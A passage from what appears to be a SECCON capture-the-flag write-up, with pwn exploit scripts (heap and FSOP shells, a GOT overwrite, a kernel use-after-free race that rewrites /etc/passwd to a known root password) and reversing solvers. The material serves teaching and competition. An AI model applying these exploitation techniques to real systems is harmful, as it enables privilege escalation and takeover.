pl += p64(pop_rsi_r15_rbp)
pl += p64(0) * 3
pl += p64(syscall)
r.send(pl)
pause(1)
r.sendline(b"echo shell!")
r.interactive()
```
## Gachiarray
When initializing the array, if malloc fails and returns 0, the size field isnt cleared to 0. Thus by inputting -1 as the size, malloc will fail and we have arb read write to any address in integer range. Since PIE is disabled, it is fairly trivial to exploit, by leaking libc address then moving the array address itself to libc by writing to the least significant half of the array address first then the most significant by writing with a negative offset. Then we can write to stderr an fsop payload to pop a shell.
```python
from pwn import *
exe = context.binary = ELF('./chall')
libc = ELF('./libc.so.6')
def packet(op, index, value):
return int(op).to_bytes(4, 'little', signed=True) + int(index).to_bytes(4, 'little', signed=True) + int(value).to_bytes(4, 'little', signed=True)
r = remote("gachiarray.seccon.games", 5000)
"""while True:
r.send(packet(int(input("op: ")), int(input("index: ")), int(input("value: "))))
print(r.clean(0.2))"""
r.send(packet(-1, -1, 0))
print(dat:=r.clean(0.2))
r.send(packet(3, -1, 0))
print(dat:=r.clean(0.2))
r.send(packet(1, 1052692, 0))
print(dat:=r.clean(0.2))
leak = int(dat.strip().split(b' = ')[1]) % (1<<32)
print(hex(leak))
r.send(packet(1, 1052693, 0))
print(dat:=r.clean(0.2))
leak |= (int(dat.strip().split(b' = ')[1]) % (1<<32)) << 32
print(hex(leak))
libc.address = leak - libc.symbols['_IO_2_1_stdin_']
print(hex(libc.address))
r.send(packet(2, 0x0404080>>2, libc.symbols['_IO_2_1_stderr_'] % (1<<32)))
print(dat:=r.clean(0.2))
r.send(packet(2, (0x0404084>>2) - ((libc.symbols['_IO_2_1_stderr_'] % (1<<32))>>2), libc.symbols['_IO_2_1_stderr_'] >>32))
print(dat:=r.clean(0.2))
def brother_may_I_have_some_oats(fp_addr):
fp = FileStructure(null=fp_addr+0x68)
fp.flags = 0x687320
fp._IO_read_ptr = 0x0
fp._IO_write_base = 0x0
fp._IO_write_ptr = 0x1
fp._wide_data = fp_addr-0x10
payload = bytes(fp)
payload = payload[:0xc8] + p64(libc.sym['system']) + p64(fp_addr + 0x60)
payload += p64(libc.sym['_IO_wfile_jumps'])
return payload
payload = brother_may_I_have_some_oats(libc.symbols['_IO_2_1_stderr_'])
for i in range(0, len(payload), 4):
r.send(packet(2, i>>2, 0)[:-4] + payload[i:i+4])
print(dat:=r.clean(0.2))
r.send(packet(5, 0, 0))
r.interactive()
```
## Cursed ST
C++ stacks are implemented with disjoint arrays. Additionally no bounds are checked when popping from the stack. What will happen is it will just use whatever previous pointer is in the buffer used to store the addresses of the disjoint arrays. However, when the binary is first initialized, the buffer of pointers has nulls as the previous pointer. Thus we will need to move that buffer somewhere else to a chunk with data we contorol. One easy way to do this is to set a very long name which will create freed chunks with our name as the leftover data. Then we can push a lot of data into a stack to fill uip the pointer buffer and cause it to be realloced into one of the freed chunk. Now we can pop all the data pushed and get arb write.
Since there is no PIE there are a few intresting places we can write to, the GOT and the string object for name are the ones I used. Writing to the GOT can be used to recall main + some offset to cause the name to be printed again, and writing to the string object we can change the pointer to something else to get a leak.
After gaining a libc leak, we can overwrite the GOT entry of operator delete to system and free one of the disjoint arrays of a stack to trigger it.
```python
from pwn import *
libc = ELF('./libc.so.6')
context.arch = 'amd64'
#context.log_level = 'debug'
def exp():
p = remote('st.seccon.games', 5000)
def push_S(val):
p.sendline(b'1')
p.sendline(str(val).encode())
def pop_S():
p.sendline(b'2')
def push_T(val):
p.sendline(b'3')
p.sendline(str(val).encode())
def pop_T():
p.sendline(b'4')
def quit_prog():
p.sendline(b'5')
str_ptr = 0x00405308 - 0x1f8
p.recvuntil(b"What's your name?")
p.sendline(p64(str_ptr) * 0x2000)
p.recvuntil(b'Hello,')
p.recvline()
for _ in range(700):
push_S(0x00405048 - 0x1f8)
for _ in range(700):
pop_S()
pop_S()
pop_S()
push_S(0x405020)
push_S(0x100)
pop_S()
for _ in range(700):
push_T(1)
for _ in range(700):
pop_T()
pop_T()
pop_T()
push_T(0x004013d5)
quit_prog()
p.recvuntil(b'Hello, ')
libc.address = u64(p.recvn(8)) - libc.symbols['__cxa_atexit']
p.clean()
print(hex(libc.address))
pop_S()
push_S(next(libc.search(b'/bin/sh')))
push_S(1)
push_S(u64(b'/bin/sh\0'))
pop_T()
push_T(libc.symbols['do_system'] + 2)
pop_S()
pop_S()
p.interactive()
if __name__ == '__main__':
exp()
```
## tinyfs
In `tiny_fs_file_write` and `tiny_fs_file_read`, we can see that `tiny_fs_find_node_by_ino` is called. This searches for the node and returns it. After returning it doesn't lock. So we can use 2 threads. 1 thread unlinking(deleting) the file, so it deletes the slab. Another threads spraying and writing to the slab. The size of node is 0x1000, so it goes into `kmalloc-4k`. Userfaultfd was enabled, so we can use that to hang on `copy_from_user` inside `tiny_fs_file_write`. I sprayed `pipe_buffers` and overwrite the `page` pointer to get a Page UAF. With this I sprayed file structs and overwrote the mode of `/etc/passwd` to change the root password.
```c
#define _GNU_SOURCE
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <linux/userfaultfd.h>
#include <sys/time.h>
#include <sys/resource.h>
#define PAGE_SIZE 0x1000
#define FAULT_ADDR 0xdead0000
#define NUM_PADDING_PIPES 150
#define NUM_EVIL_PIPES 100
#define PIPE_RESIZE_SZ (64 * PAGE_SIZE)
#define FILE_NUM 200
#define PRE_SPRAY_NUM 1000
#define POST_SPRAY_NUM 2000
int pre_fds[PRE_SPRAY_NUM];
int post_fds[POST_SPRAY_NUM];
static int fd_tiny;
static long uffd;
static char *fault_page;
int padding_pipes[NUM_PADDING_PIPES][2];
int evil_pipes[NUM_EVIL_PIPES][2];
void fatal(const char *msg) {
perror(msg);
exit(1);
}
void increase_limits() {
struct rlimit lim;
if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("getrlimit");
exit(1);
}
lim.rlim_cur = lim.rlim_max;
if (setrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("setrlimit");
lim.rlim_cur = 4096;
if (setrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("setrlimit fallback");
exit(1);
}
}
printf("[*] Increased FD limit to %lu\n", lim.rlim_cur);
}
void *uffd_handler(void *arg) {
struct uffd_msg msg;
char buffer[PAGE_SIZE];
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
puts("[*] Handler thread waiting for fault...");
poll(&pollfd, 1, -1);
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) fatal("read uffd");
if (msg.event != UFFD_EVENT_PAGEFAULT) fatal("Unexpected event");
puts("[!] Page fault caught! Kernel is paused.");
puts("[*] Unlinking file to trigger kfree(fs_node->data)...");
if (unlink("/mnt/tiny/a") < 0) perror("unlink");
puts("[*] Spraying Evil Pipes (kmalloc-4096)...");
for (int i = 0; i < NUM_EVIL_PIPES; i++) {
if (pipe(evil_pipes[i]) < 0) fatal("pipe evil");
if (fcntl(evil_pipes[i][1], F_SETPIPE_SZ, PIPE_RESIZE_SZ) < 0) {
perror("fcntl resize");
}
}
for (int i = 0; i < NUM_EVIL_PIPES; i++) {
write(evil_pipes[i][1], &i, sizeof(int));
}
puts("[*] Resuming write with LSB overwrite...");
struct uffdio_copy uffdio_copy;
memset(buffer, 0, sizeof(buffer));
buffer[0] = 0x40;
uffdio_copy.src = (unsigned long)buffer;
uffdio_copy.dst = (unsigned long)fault_page;
uffdio_copy.len = PAGE_SIZE;
uffdio_copy.mode = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) fatal("ioctl UFFDIO_COPY");
}
void setup_uffd() {
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) fatal("userfaultfd");
struct uffdio_api uffdio_api = { .api = UFFD_API };
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) fatal("ioctl UFFDIO_API");
fault_page = mmap((void*)FAULT_ADDR, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (fault_page == MAP_FAILED) fatal("mmap");
struct uffdio_register uffdio_register = {
.range = { .start = (unsigned long)fault_page, .len = PAGE_SIZE },
.mode = UFFDIO_REGISTER_MODE_MISSING
};
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) fatal("ioctl UFFDIO_REGISTER");
}
int main() {
pthread_t thr;
increase_limits();
setup_uffd();
pthread_create(&thr, NULL, uffd_handler, NULL);
fd_tiny = open("/mnt/tiny/a", O_RDWR | O_CREAT, 0666);
if (fd_tiny < 0) fatal("open /mnt/tiny/a");
puts("[*] Pre-spraying file structs...");
for(int i=0; i<PRE_SPRAY_NUM; i++) {
pre_fds[i] = open("/etc/passwd", O_RDONLY);
}
puts("[*] Triggering write...");
write(fd_tiny, fault_page, 1);
pthread_join(thr, NULL);
puts("[*] Race completed.");
puts("[*] Main: Scanning pipes for overlaps...");
int victim_idx = -1;
int attacker_idx = -1;
for (int i = 0; i < NUM_EVIL_PIPES; i++) {
int val = -1;
if (read(evil_pipes[i][0], &val, sizeof(int)) != sizeof(int)) {
continue;
}
if (val != i) {
printf("[+] FOUND OVERLAP! Pipe %d (Attacker) points to Page of Pipe %d (Victim)\n", i, val);
victim_idx = val;
attacker_idx = i;
break;
}
}
if (victim_idx == -1) {
puts("[-] Failed to find overlap. Exiting.");
exit(1);
}
puts("[*] Closing the Victim Pipe to free the page...");
close(evil_pipes[victim_idx][0]);
close(evil_pipes[victim_idx][1]);
puts("[*] Cleaning up other pipes...");
for (int i = 0; i < NUM_EVIL_PIPES; i++) {
if (i == attacker_idx) continue;
if (i == victim_idx) continue;
close(evil_pipes[i][0]);
close(evil_pipes[i][1]);
}
puts("[*] Post-spraying file structs...");
for (int i = 0; i < POST_SPRAY_NUM; i++) {
post_fds[i] = open("/etc/passwd", O_RDONLY);
}
usleep(10000);
long payload[1];
payload[0] = 0x044f801f00000000;
puts("[*] Overwriting f_lock and f_mode...");
write(evil_pipes[attacker_idx][1], payload, 8);
char *data = "root:$1$slices$dj.dSsC4E0r9FWbeVtBvC1:0:0:root:/root:/bin/sh\n";
printf("Setting root password to \"slices\"...\n");
int data_size = strlen(data);
puts("[*] Editing the passwd file...");
for (int i = 0;i < POST_SPRAY_NUM; i++) {
int retval = write(post_fds[i], data, data_size);
if (retval > 0)
{
puts("Passwd successfully updated");
}
}
for (int i = 0;i < POST_SPRAY_NUM; i++)
{
close(post_fds[i]);
}
puts("Run 'su root' with password 'slices' to get a root shell!")
return 0;
}
```
# Reversing
## Breaking Out
Solved by gpt 5.2 high
```py
#!/usr/bin/env python3
from __future__ import annotations
import base64
import gzip
import json
import math
import re
import shutil
import subprocess
import sys
from dataclasses import dataclass
from pathlib import Path
from typing import Any, Iterable
HEX_UINT32_MASK = 0xFFFFFFFF
def js_parse_int(s: str) -> float:
m = re.match(r"^[ \t\r\n]*([+-]?\d+)", s)
if not m:
return float("nan")
return float(int(m.group(1), 10))
def decode_obf_string(b64: str) -> str:
# The obfuscator uses a non-standard base64 alphabet:
# 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='
# and then decodeURIComponent(%xx...) which is UTF-8 decoding of the bytes.
custom = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="
standard = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
trans = str.maketrans({c: standard[i] for i, c in enumerate(custom)})
b64_std = b64.translate(trans)
b64_std += "=" * ((-len(b64_std)) % 4)
raw = base64.b64decode(b64_std)
return raw.decode("utf-8")
def extract_js_string_array(source: str) -> list[str]:
needle = "const _0x49f141=["
start = source.find(needle)
if start < 0:
raise RuntimeError("failed to find string array start")
i = start + len("const _0x49f141=")
if i >= len(source) or source[i] != "[":
raise RuntimeError("unexpected string array format")
depth = 0
in_str: str | None = None
escape = False
end = None
for j in range(i, len(source)):
ch = source[j]
if in_str is not None:
if escape:
escape = False
continue
if ch == "\\":
escape = True
continue
if ch == in_str:
in_str = None
continue
if ch in ("'", '"'):
in_str = ch
continue
if ch == "[":
depth += 1
continue
if ch == "]":
depth -= 1
if depth == 0:
end = j + 1
break
continue
if end is None:
raise RuntimeError("failed to find end of string array")
array_src = source[i:end]
out: list[str] = []
k = 0
while k < len(array_src):
if array_src[k] not in ("'", '"'):
k += 1
continue
quote = array_src[k]
k += 1
buf: list[str] = []
escape = False
while k < len(array_src):
ch = array_src[k]
k += 1
if escape:
buf.append(ch)
escape = False
continue
if ch == "\\":
escape = True
continue
if ch == quote:
break
buf.append(ch)
out.append("".join(buf))
if not out:
raise RuntimeError("parsed empty string table")
return out
def find_rotation_expression(source: str) -> tuple[str, int, str]:
# Find the IIFE that rotates the string array.
target_m = re.search(r"\(a0_0x40ef,\s*(0x[0-9a-fA-F]+)\)", source)
if not target_m:
raise RuntimeError("failed to find rotation target constant")
target = int(target_m.group(1), 16)
# Function alias used in the rotation expression (e.g., const _0x4b32d2=a0_0x3fa8)
alias_m = re.search(r"\(function\([^)]*\)\{const\s+([_$a-zA-Z0-9]+)=a0_0x3fa8", source)
if not alias_m:
raise RuntimeError("failed to find rotation decoder alias")
alias = alias_m.group(1)
marker = "try{const _0x536373="
start = source.find(marker)
if start < 0:
raise RuntimeError("failed to find rotation expression start")
start += len(marker)
end_marker = ";if(_0x536373===_0x1b34ae)"
end = source.find(end_marker, start)
if end < 0:
raise RuntimeError("failed to find rotation expression end")
expr = source[start:end]
expr_py = expr.replace("parseInt", "parse_int").replace(alias, "dec")
return expr_py, target, alias
def rotate_string_table_to_runtime_order(raw_strings: list[str], source: str) -> list[str]:
expr_py, target, _alias = find_rotation_expression(source)
def dec(idx: int) -> str:
pos = idx - 0x1AC
if pos < 0 or pos >= len(raw_strings):
raise IndexError(idx)
return decode_obf_string(raw_strings[pos])
def eval_expr() -> float:
return eval( # noqa: S307 - controlled input from local challenge file
expr_py,
{"__builtins__": {}},
{"parse_int": js_parse_int, "dec": dec},
)
for _ in range(len(raw_strings) * 4):
try:
val = eval_expr()
if math.isfinite(val) and abs(val - float(target)) < 1e-9:
return raw_strings
except Exception:
pass
raw_strings.append(raw_strings.pop(0))
raise RuntimeError("failed to rotate string table (did not reach target)")
def split_top_level(s: str, sep: str = ",") -> list[str]:
parts: list[str] = []
depth_round = depth_square = depth_curly = 0
in_str: str | None = None
escape = False
last = 0
for i, ch in enumerate(s):
if in_str is not None:
if escape:
escape = False
continue
if ch == "\\":
escape = True
continue
if ch == in_str:
in_str = None
continue
if ch in ("'", '"'):
in_str = ch
continue
if ch == "(":
depth_round += 1
elif ch == ")":
depth_round -= 1
elif ch == "[":
depth_square += 1
elif ch == "]":
depth_square -= 1
elif ch == "{":
depth_curly += 1
elif ch == "}":
depth_curly -= 1
elif ch == sep and depth_round == depth_square == depth_curly == 0:
parts.append(s[last:i].strip())
last = i + 1
tail = s[last:].strip()
if tail:
parts.append(tail)
return parts
def parse_js_int(expr: str) -> int:
expr = expr.strip()
neg = expr.startswith("-")
if neg:
expr = expr[1:].strip()
if expr.startswith("0x") or expr.startswith("0X"):
n = int(expr, 16)
else:
n = int(expr, 10)
return -n if neg else n
def parse_js_string_literal(expr: str) -> str:
expr = expr.strip()
if len(expr) < 2 or expr[0] not in ("'", '"') or expr[-1] != expr[0]:
raise ValueError(f"not a string literal: {expr!r}")
quote = expr[0]
body = expr[1:-1]
out: list[str] = []
i = 0
while i < len(body):
ch = body[i]
i += 1
if ch != "\\":
out.append(ch)
continue
if i >= len(body):
break
esc = body[i]
i += 1
if esc in ("\\", "/", quote):
out.append(esc)
elif esc == "n":
out.append("\n")
elif esc == "r":
out.append("\r")
elif esc == "t":
out.append("\t")
elif esc == "b":
out.append("\b")
elif esc == "f":
out.append("\f")
elif esc == "x":
out.append(chr(int(body[i : i + 2], 16)))
i += 2
elif esc == "u":
out.append(chr(int(body[i : i + 4], 16)))
i += 4
else:
out.append(esc)
return "".join(out)
@dataclass
class Deobf:
source: str
string_table_raw: list[str]
string_table_decoded: list[str]
def s(self, idx: int) -> str:
return self.string_table_decoded[idx - 0x1AC]
def build_deobfuscator(source: str) -> Deobf:
raw = extract_js_string_array(source)
raw_rot = rotate_string_table_to_runtime_order(raw[:], source)
decoded = [decode_obf_string(x) for x in raw_rot]
return Deobf(source=source, string_table_raw=raw_rot, string_table_decoded=decoded)
def eval_small_js_expr(expr: str, deobf: Deobf, env: dict[str, Any]) -> Any:
expr = expr.strip()
if not expr:
raise ValueError("empty expr")
m = re.fullmatch(r"a0_0x9638eb\(\s*(0x[0-9a-fA-F]+)\s*\)", expr)
if m:
return deobf.s(int(m.group(1), 16))
if (expr[0] == expr[-1]) and expr[0] in ("'", '"'):
return parse_js_string_literal(expr)
if re.fullmatch(r"[+-]?(?:0x[0-9a-fA-F]+|\d+)", expr):
return parse_js_int(expr)
if expr.startswith("[") and expr.endswith("]"):
inner = expr[1:-1].strip()
if not inner:
return []
return [eval_small_js_expr(item, deobf, env) for item in split_top_level(inner, ",")]
if re.fullmatch(r"[A-Za-z_$][A-Za-z0-9_$]*", expr):
if expr not in env:
env[expr] = parse_object_definition(expr, deobf, env)
return env[expr]
raise ValueError(f"unsupported JS expr: {expr!r}")
def parse_assignment_statement(stmt: str, target_var: str, deobf: Deobf, env: dict[str, Any]) -> dict[str, Any]:
obj: dict[str, Any] = {}
for part in split_top_level(stmt, ","):
if not part or not part.startswith(target_var + "["):
continue
lb = part.find("[")
rb = part.find("]", lb + 1)
if rb < 0:
continue
eq = part.find("=", rb + 1)
if eq < 0:
continue
prop_expr = part[lb + 1 : rb]
val_expr = part[eq + 1 :]
prop = eval_small_js_expr(prop_expr, deobf, env)
val = eval_small_js_expr(val_expr, deobf, env)
obj[str(prop)] = val
return obj
def parse_object_definition(varname: str, deobf: Deobf, env: dict[str, Any]) -> dict[str, Any]:
# Find "<varname>={};" or "const <varname>={};" then parse the next ';'-terminated statement.
m = re.search(rf"(?:const\s+)?{re.escape(varname)}\s*=\s*\{{\}}\s*;", deobf.source)
if not m:
raise KeyError(f"object definition not found for {varname}")
after_init = m.end()
stmt_end = deobf.source.find(";", after_init)
if stmt_end < 0:
raise RuntimeError(f"unterminated statement after {varname} init")
stmt = deobf.source[after_init:stmt_end]
return parse_assignment_statement(stmt, varname, deobf, env)
def parse_stage1_config(deobf: Deobf) -> dict[str, Any]:
m = re.search(r"const\s+a0_0x21a0d9\s*=\s*(a0_0x[0-9a-f]+)\s*;", deobf.source)
if not m:
raise RuntimeError("failed to find a0_0x21a0d9 assignment")
stage1_var = m.group(1)
env: dict[str, Any] = {}
stage1_obj = parse_object_definition(stage1_var, deobf, env)
return stage1_obj
def rc4(key: bytes, data: bytes) -> bytes:
if not key:
raise ValueError("empty rc4 key")
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xFF
s[i], s[j] = s[j], s[i]
i = 0
j = 0
out = bytearray(len(data))
for n, b in enumerate(data):
i = (i + 1) & 0xFF
j = (j + s[i]) & 0xFF
s[i], s[j] = s[j], s[i]
k = s[(s[i] + s[j]) & 0xFF]
out[n] = b ^ k
return bytes(out)
@dataclass
class KeyState:
acc1: int
acc2: int
acc3: int
@classmethod
def init_for_level(cls, level: dict[str, Any]) -> "KeyState":
rows = int(level.get("rows", 0))
cols = int(level.get("cols", 0))
return cls(
acc1=0x13572468,
acc2=0x24681357,
acc3=((rows << 16) ^ cols) & HEX_UINT32_MASK,
)
def accumulate(self, v: Any) -> None:
try:
if isinstance(v, str):
num = int(v, 0)
else:
num = int(v)
except Exception:
num = 0
x = num & HEX_UINT32_MASK
rot = ((x << 7) | (x >> 25)) & HEX_UINT32_MASK
self.acc1 = (self.acc1 + x) & HEX_UINT32_MASK
self.acc2 = (self.acc2 + rot) & HEX_UINT32_MASK
self.acc3 = (self.acc3 + ((x ^ 0x9E3779B9) & HEX_UINT32_MASK)) & HEX_UINT32_MASK
def derive_key(self) -> str:
return f"{self.acc1:08x}{self.acc2:08x}{self.acc3:08x}"
def decrypt_level(cipher_b64: str, key_hex: str) -> dict[str, Any]:
cipher = base64.b64decode(cipher_b64)
plain = rc4(key_hex.encode("utf-8"), cipher)
decompressed = gzip.decompress(plain)
return json.loads(decompressed.decode("utf-8"))
def derive_next_key_for_level(level: dict[str, Any]) -> str:
ks = KeyState.init_for_level(level)
for special in level.get("specials") or []:
if isinstance(special, dict):
ks.accumulate(special.get("value", 0))
else:
ks.accumulate(0)
return ks.derive_key()
def walk_to_stage(level1: dict[str, Any], target_stage: int) -> dict[str, Any]:
if target_stage < 1:
raise ValueError("target_stage must be >= 1")
level = level1
for stage in range(1, target_stage):
key = derive_next_key_for_level(level)
nxt = level.get("next") or ""
if not nxt:
raise RuntimeError(f"missing next ciphertext at stage {stage}")
level = decrypt_level(nxt, key)
return level
def write_layout_as_pbm(layout: Iterable[str], path: Path) -> tuple[int, int]:
rows = [line.rstrip("\n") for line in layout]
h = len(rows)
if h == 0:
raise ValueError("empty layout")
w = len(rows[0])
if any(len(r) != w for r in rows):
raise ValueError("non-rectangular layout")
# PBM P1: 1=black, 0=white
lines = ["P1", f"{w} {h}"]
for r in rows:
bits = ["1" if ch.upper() == "X" else "0" for ch in r]
lines.append(" ".join(bits))
path.write_text("\n".join(lines) + "\n", encoding="ascii")
return w, h
def write_layout_as_png(layout: Iterable[str], path: Path, *, scale: int = 10, border: int = 4) -> tuple[int, int]:
try:
from PIL import Image # type: ignore
except Exception as exc: # pragma: no cover
raise RuntimeError("Pillow (PIL) is required to write PNGs") from exc
rows = [line.rstrip("\n") for line in layout]
h = len(rows)
if h == 0:
raise ValueError("empty layout")
w = len(rows[0])
if any(len(r) != w for r in rows):
raise ValueError("non-rectangular layout")
out_w = (w + border * 2) * scale
out_h = (h + border * 2) * scale
img = Image.new("L", (out_w, out_h), 255)
pixels = img.load()
for y, row in enumerate(rows):
for x, ch in enumerate(row):
if ch.upper() != "X":
continue
x0 = (x + border) * scale
y0 = (y + border) * scale
for yy in range(y0, y0 + scale):
for xx in range(x0, x0 + scale):
pixels[xx, yy] = 0
img.save(path)
return w, h
def try_decode_qr_with_zbar(image_path: Path) -> str | None:
if not shutil.which("zbarimg"):
return None
proc = subprocess.run(
["zbarimg", "-q", str(image_path)],
text=True,
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
check=False,
)
out = (proc.stdout or "").strip()
if ":" in out:
_typ, data = out.split(":", 1)
return data.strip()
return out.strip() or None
def main() -> int:
game_js = Path("game.js")
if not game_js.exists():
print("missing game.js (run from the challenge directory)", file=sys.stderr)
return 2
deobf = build_deobfuscator(game_js.read_text("utf-8"))
level1 = parse_stage1_config(deobf)
level100 = walk_to_stage(level1, 100)
layout = level100.get("layout")
if not isinstance(layout, list) or not all(isinstance(x, str) for x in layout):
print("stage 100 has no string layout", file=sys.stderr)
return 1
png_path = Path("stage100.png")
try:
w, h = write_layout_as_png(layout, png_path)
image_path = png_path
except Exception:
pbm_path = Path("stage100.pbm")
w, h = write_layout_as_pbm(layout, pbm_path)
image_path = pbm_path
flag = try_decode_qr_with_zbar(image_path)
if flag:
print(flag)
return 0
print(f"wrote {image_path} ({w}x{h}); install zbarimg to decode it", file=sys.stderr)
return 1
if __name__ == "__main__":
raise SystemExit(main())
```
```shell=
❯ python solve.py
SECCON{H4ve_y0u_3ver_p14yed_Atari?_SQiOIVX6HPtRekE1vTn4}
```
## Ez Flag Checker
The binary is a very simple flag checker that just xors the inputted flag with some data and compares the result with data stored in the binary.
```python
key = b'\x65\x78\x70\x61\x6e\x64\x20\x33\x32\x2d\x62\x79\x74\x65\x20\x6b'
flag = b'\x03\x15\x13\x03\x11\x55\x1f\x43\x63\x61\x59\xef\xbc\x10\x1f\x43\x54\xa8'
ans = b''
for idx, i in enumerate(flag):
ans += bytes([i ^ (key[idx&0xf] + idx)])
print(ans[:0x12], hex(len(ans)))
```
## Mini Bloat
`_next\static\chunks\app\page-fdcc665989738875.js` contains the actual expressions we need to satisfy for each day, as a gzipped and base64'd list of JSON objects. We can use something like the following to extract the challenge data:
```python
import base64
import gzip
import json
import pathlib
import re
js_path = pathlib.Path(r"c:\Users\Kisun\Downloads\mini_bloat.tar\_next\static\chunks\app\page-fdcc665989738875.js")
text = js_path.read_text(encoding="utf-8")
match = re.search(r'"(H4sIA[^"]+)"', text)
if not match:
raise SystemExit("Embedded payload not found")
compressed = base64.b64decode(match.group(1))
raw = gzip.decompress(compressed)
data = json.loads(raw)
print(json.dumps(data, indent=2))
```
We can ask AI for a script that converts these into valid Z3 constraints. Once all the challenges are solved, we can use these values to generate the keystream for the ciphertext (`derive_flag`).
```python
import base64
import gzip
import hashlib
import json
import pathlib
from dataclasses import dataclass
from typing import Dict, List
import z3
JS_PATH = pathlib.Path(r"c:\Users\Kisun\Downloads\mini_bloat.tar\_next\static\chunks\app\page-fdcc665989738875.js")
def load_puzzle_data() -> List[Dict]:
text = JS_PATH.read_text(encoding="utf-8")
start = text.index("\"H4sIA") + 1
end = text.index("\"", start)
blob = text[start:end]
data = json.loads(gzip.decompress(base64.b64decode(blob)))
return data
@dataclass
class BV:
value: z3.BitVecRef
@staticmethod
def _coerce(other):
if isinstance(other, BV):
return other.value
if isinstance(other, z3.BitVecRef):
return other
if isinstance(other, int):
return z3.BitVecVal(other & 0xFFFFFFFF, 32)
raise TypeError(f"Unsupported operand type: {type(other)}")
def _wrap(self, expr):
return BV(expr)
# arithmetic
def __add__(self, other):
return self._wrap(self.value + self._coerce(other))
def __radd__(self, other):
return self._wrap(self._coerce(other) + self.value)
def __sub__(self, other):
return self._wrap(self.value - self._coerce(other))
def __rsub__(self, other):
return self._wrap(self._coerce(other) - self.value)
def __mul__(self, other):
return self._wrap(self.value * self._coerce(other))
def __rmul__(self, other):
return self._wrap(self._coerce(other) * self.value)
def __neg__(self):
return self._wrap(-self.value)
# bitwise
def __and__(self, other):
return self._wrap(self.value & self._coerce(other))
def __rand__(self, other):
return self._wrap(self._coerce(other) & self.value)
def __or__(self, other):
return self._wrap(self.value | self._coerce(other))
def __ror__(self, other):
return self._wrap(self._coerce(other) | self.value)
def __xor__(self, other):
return self._wrap(self.value ^ self._coerce(other))
def __rxor__(self, other):
return self._wrap(self._coerce(other) ^ self.value)
def __invert__(self):
return self._wrap(~self.value)
def __lshift__(self, other):
shift = self._coerce(other)
return self._wrap(self.value << shift)
def __rlshift__(self, other):
shift = self.value
return self._wrap(self._coerce(other) << shift)
def __rshift__(self, other):
shift = self._coerce(other)
return self._wrap(z3.LShR(self.value, shift))
def __rrshift__(self, other):
return self._wrap(z3.LShR(self._coerce(other), self.value))
# comparisons
def __eq__(self, other): # type: ignore[override]
return self.value == self._coerce(other)
def __ne__(self, other): # type: ignore[override]
return z3.Not(self.__eq__(other))
def solve_day(day_data: Dict) -> int:
day = day_data["day"]
x = z3.BitVec(f"x_{day}", 32)
env = {"x": BV(x)}
constraints = []
for expr in day_data["eqExprs"] + day_data["maskExprs"]:
python_expr = expr.replace(">>>", ">>").replace("===", "==")
constraint = eval(python_expr, {}, env)
constraints.append(constraint)
solver = z3.Solver()
solver.add(constraints)
if solver.check() != z3.sat:
raise RuntimeError(f"Unsatisfiable constraints for day {day}")
model = solver.model()
value = model[x].as_long() & 0xFFFFFFFF
return value
def derive_flag(values: List[int], ciphertext_b64: str, pepper: str) -> str:
buf = bytearray()
for v in values:
buf.extend(((v >> 24) & 0xFF, (v >> 16) & 0xFF, (v >> 8) & 0xFF, v & 0xFF))
pepper_bytes = pepper.encode()
payload = pepper_bytes + bytes(buf) + pepper_bytes
digest = hashlib.sha256(payload).digest()
ciphertext = base64.b64decode(ciphertext_b64)
keystream = bytearray()
counter = 0
while len(keystream) < len(ciphertext):
counter_bytes = counter.to_bytes(4, "big")
block = hashlib.sha256(digest + counter_bytes).digest()
needed = min(len(block), len(ciphertext) - len(keystream))
keystream.extend(block[:needed])
counter += 1
plaintext = bytes(c ^ k for c, k in zip(ciphertext, keystream))
return plaintext.decode("utf-8")
def main():
data = load_puzzle_data()
values = []
for day in data:
val = solve_day(day)
values.append(val)
mn = "uJVY4mJFB6T9yppuCdGFmTW1O5GZ06yw4OTVml4VNOw="
pepper = "boolean-advent-2025-pepper"
flag = derive_flag(values, mn, pepper)
print(flag)
if __name__ == "__main__":
main()
```
## Crown Flash
gdb revealed an RWX page getting mapped, and scanning the top of the stack shows a pointer into that page -> JIT
Dump the RWX page and disassemble it. The tiny routine takes:
- `rdi` — user input pointer
- `rsi` — length
- `rdx` — pointer to a u32 table (lives at virtual `0x21eda0` in the ELF)
It also hardcodes:
- Key bytes: `[0x42, 0x19, 0x66, 0x99]`
- Initial state: `eax = 0x72616e64` (`"dnar"`)
- Constants: `Cmul = 0x045d9f3b`, `Cadd = 0x9e3779b9`, `Pad = 0x7ed55d16`, `Tweak = 0xc761c23c`
- `r13d` is set to `0x751d4223` with its top bit clear, so the conditional branch on that bit never triggers.
Per byte `i`, the loop does the following:
```
state starts at 0x72616e64
key = [0x42, 0x19, 0x66, 0x99]
E[i] = table_u32[i] from 0x21eda0
b = input[i] ^ key[i & 3]
b = (b + i*Cadd) mod 2^32
state = (state + b) mod 2^32
state = (state * Cmul) mod 2^32
state = (state + rol(state, 7)) mod 2^32
t = state ^ (state >> 16)
expect = E[i] ^ ((i+1)*Pad + Tweak) mod 2^32
require t == expect // otherwise fail
// carry state to next byte
```
Because only the current byte and current state matter, each position can be brute‑forced over 256 possibilities, updating the state as you go.
